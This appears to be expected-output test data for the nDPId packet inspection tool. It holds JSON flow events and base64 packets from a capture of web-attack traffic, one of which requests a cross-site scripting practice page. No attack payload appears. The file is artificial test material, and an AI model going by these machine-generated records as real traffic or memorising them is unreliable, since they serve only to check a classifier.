+00444{"flow_id":149,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2124,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347221,"pkt_ts_usec":695136,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1mpdkOZGHFQraqAScSBnCgAAAgQFtAQCCAoD47FxATnf+wEDAwc="} +00433{"flow_id":149,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2125,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347221,"pkt_ts_usec":695692,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09JNAAD4G0USsEAABwKgKMtZqAFAcVCtqXZDmR4AQAOUGEgAAAQEICgE53\/sD47Fx"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2129,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":6,"flow_first_seen":1499347147523,"flow_last_seen":1499347152654,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54108,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2129,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":6,"flow_first_seen":1499347147523,"flow_last_seen":1499347152654,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54108,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2129,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":6,"flow_first_seen":1499347150236,"flow_last_seen":1499347155656,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54134,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2129,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":6,"flow_first_seen":1499347150236,"flow_last_seen":1499347155656,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54134,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2129,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":6,"flow_first_seen":1499347151520,"flow_last_seen":1499347156656,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54148,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2129,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":6,"flow_first_seen":1499347151520,"flow_last_seen":1499347156656,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54148,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2129,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":6,"flow_first_seen":1499347152786,"flow_last_seen":1499347158656,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54162,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2129,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":6,"flow_first_seen":1499347152786,"flow_last_seen":1499347158656,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54162,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2129,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":6,"flow_first_seen":1499347155346,"flow_last_seen":1499347160658,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54188,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2129,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":6,"flow_first_seen":1499347155346,"flow_last_seen":1499347160658,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54188,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2129,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":6,"flow_first_seen":1499347156630,"flow_last_seen":1499347161658,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54202,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2129,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":6,"flow_first_seen":1499347156630,"flow_last_seen":1499347161658,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54202,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2138,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":150,"flow_packet_id":1,"flow_first_seen":1499347224338,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54916,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":150,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2138,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347224,"pkt_ts_usec":338550,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8K5xAAD4GmjSsEAABwKgKMtaEAFDFiskTAAAAAKACchAVyAAAAgQFtAQCCAoBOeKPAAAAAAEDAwc="} +00444{"flow_id":150,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2139,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347224,"pkt_ts_usec":338687,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1oTh1R3txYrJFKAScSBe+gAAAgQFtAQCCAoD47QGATnijwEDAwc="} +00432{"flow_id":150,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2140,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347224,"pkt_ts_usec":339447,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0K51AAD4GmjusEAABwKgKMtaEAFDFiskU4dUd7oAQAOX+AAAAAQEICgE54pAD47QG"} +00432{"flow_id":147,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2144,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347224,"pkt_ts_usec":677131,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UE1AAD4GdYusEAABwKgKMtZOAFD4043Hy3K6xIARAOWEdQAAAQEICgE54uQD468D"} +00433{"flow_id":147,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2145,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347224,"pkt_ts_usec":677345,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Dp5AAEAGtTrAqAoyrBAAAQBQ1k7LcrrE+NONyIARAON\/HwAAAQEICgPjtFoBOeLk"} +00433{"flow_id":147,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2146,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347224,"pkt_ts_usec":678056,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UE5AAD4GdYqsEAABwKgKMtZOAFD4043Iy3K6xYAQAOV\/HQAAAQEICgE54uQD47Ra"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2150,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":151,"flow_packet_id":1,"flow_first_seen":1499347225590,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54930,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":151,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2150,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347225,"pkt_ts_usec":590247,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8hTdAAD4GQJmsEAABwKgKMtaSAFC4kmb\/AAAAAKACchCDjQAAAgQFtAQCCAoBOePIAAAAAAEDAwc="} +00445{"flow_id":151,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2151,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347225,"pkt_ts_usec":590373,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1pJbUfWYuJJnAKAScSB6XwAAAgQFtAQCCAoD47U\/ATnjyAEDAwc="} +00433{"flow_id":151,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2152,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347225,"pkt_ts_usec":591132,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0hThAAD4GQKCsEAABwKgKMtaSAFC4kmcAW1H1mYAQAOUZZgAAAQEICgE548kD47U\/"} +00432{"flow_id":148,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2156,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347225,"pkt_ts_usec":676767,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06AJAAD4G3dWsEAABwKgKMtZcAFBnOTbE0+0O+4ARAOUOJAAAAQEICgE5494D47A5"} +00432{"flow_id":148,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2157,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347225,"pkt_ts_usec":676984,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0u69AAEAGCCnAqAoyrBAAAQBQ1lzT7Q77Zzk2xYARAOMJCgAAAQEICgPjtVQBOePe"} +00433{"flow_id":148,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2158,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347225,"pkt_ts_usec":677535,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06ANAAD4G3dSsEAABwKgKMtZcAFBnOTbF0+0O\/IAQAOUJCAAAAQEICgE5494D47VU"} +00432{"flow_id":149,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2165,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347227,"pkt_ts_usec":677198,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09JRAAD4G0UOsEAABwKgKMtZqAFAcVCtqXZDmR4ARAOUAOgAAAQEICgE55dID47Fx"} +00432{"flow_id":149,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2166,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347227,"pkt_ts_usec":677420,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0UQ9AAEAGcsnAqAoyrBAAAQBQ1mpdkOZHHFQra4ARAOP6YwAAAQEICgPjt0gBOeXS"} +00432{"flow_id":149,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2167,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347227,"pkt_ts_usec":677963,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09JVAAD4G0UKsEAABwKgKMtZqAFAcVCtrXZDmSIAQAOX6YQAAAQEICgE55dID47dI"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2171,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":152,"flow_packet_id":1,"flow_first_seen":1499347228091,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54956,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":152,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2171,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347228,"pkt_ts_usec":91325,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8p6lAAD4GHiesEAABwKgKMtasAFAs20GTAAAAAKACchAyJQAAAgQFtAQCCAoBOeY6AAAAAAEDAwc="} +00443{"flow_id":152,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2172,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347228,"pkt_ts_usec":91420,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1qzT8idALNtBlKAScSB8PQAAAgQFtAQCCAoD47ewATnmOgEDAwc="} +00432{"flow_id":152,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2173,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347228,"pkt_ts_usec":92023,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0p6pAAD4GHi6sEAABwKgKMtasAFAs20GU0\/InQYAQAOUbRQAAAQEICgE55joD47ew"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2180,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":153,"flow_packet_id":1,"flow_first_seen":1499347229416,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54970,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":153,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2180,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347229,"pkt_ts_usec":416931,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8aTtAAD4GXJWsEAABwKgKMta6AFA5aI6+AAAAAKACchDXEwAAAgQFtAQCCAoBOeeFAAAAAAEDAwc="} +00444{"flow_id":153,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2181,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347229,"pkt_ts_usec":417089,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1rr5YE9wOWiOv6AScSDSQgAAAgQFtAQCCAoD47j7ATnnhQEDAwc="} +00433{"flow_id":153,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2182,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347229,"pkt_ts_usec":417826,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aTxAAD4GXJysEAABwKgKMta6AFA5aI6\/+WBPcYAQAOVxSgAAAQEICgE554UD47j7"} +00432{"flow_id":150,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2186,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347229,"pkt_ts_usec":678226,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0K55AAD4GmjqsEAABwKgKMtaEAFDFiskU4dUd7oARAOX4yQAAAQEICgE558YD47QG"} +00432{"flow_id":150,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2187,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347229,"pkt_ts_usec":678445,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0pNNAAEAGHwXAqAoyrBAAAQBQ1oTh1R3uxYrJFYARAOPzkwAAAQEICgPjuT0BOefG"} +00432{"flow_id":150,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2188,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347229,"pkt_ts_usec":678983,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0K59AAD4GmjmsEAABwKgKMtaEAFDFiskV4dUd74AQAOXzkAAAAQEICgE558cD47k9"} +00433{"flow_id":151,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2192,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347230,"pkt_ts_usec":678674,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0hTlAAD4GQJ+sEAABwKgKMtaSAFC4kmcAW1H1mYARAOUUbQAAAQEICgE56MED47U\/"} +00432{"flow_id":151,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2193,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347230,"pkt_ts_usec":678898,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0T65AAEAGdCrAqAoyrBAAAQBQ1pJbUfWZuJJnAYARAOMPdgAAAQEICgPjujcBOejB"} +00432{"flow_id":151,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2194,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347230,"pkt_ts_usec":679597,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0hTpAAD4GQJ6sEAABwKgKMtaSAFC4kmcBW1H1moAQAOUPdAAAAQEICgE56MED47o3"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2195,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":154,"flow_packet_id":1,"flow_first_seen":1499347230690,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54984,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":154,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2195,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347230,"pkt_ts_usec":690806,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8uy1AAD4GCqOsEAABwKgKMtbIAFCbKFPuAAAAAKACchCu1wAAAgQFtAQCCAoBOejDAAAAAAEDAwc="} +00444{"flow_id":154,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2196,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347230,"pkt_ts_usec":690844,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1shnmPeomyhT76AScSCSVwAAAgQFtAQCCAoD47o6ATnowwEDAwc="} +00432{"flow_id":154,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2197,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347230,"pkt_ts_usec":691619,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0uy5AAD4GCqqsEAABwKgKMtbIAFCbKFPvZ5j3qYAQAOUxXgAAAQEICgE56MQD47o6"} +00948{"flow_id":152,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2204,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347231,"pkt_ts_usec":733910,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzp6tAAD4GHK6sEAABwKgKMtasAFAs20GU0\/InQYAYAOXGvgAAAQEICgE56cgD47ewR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} 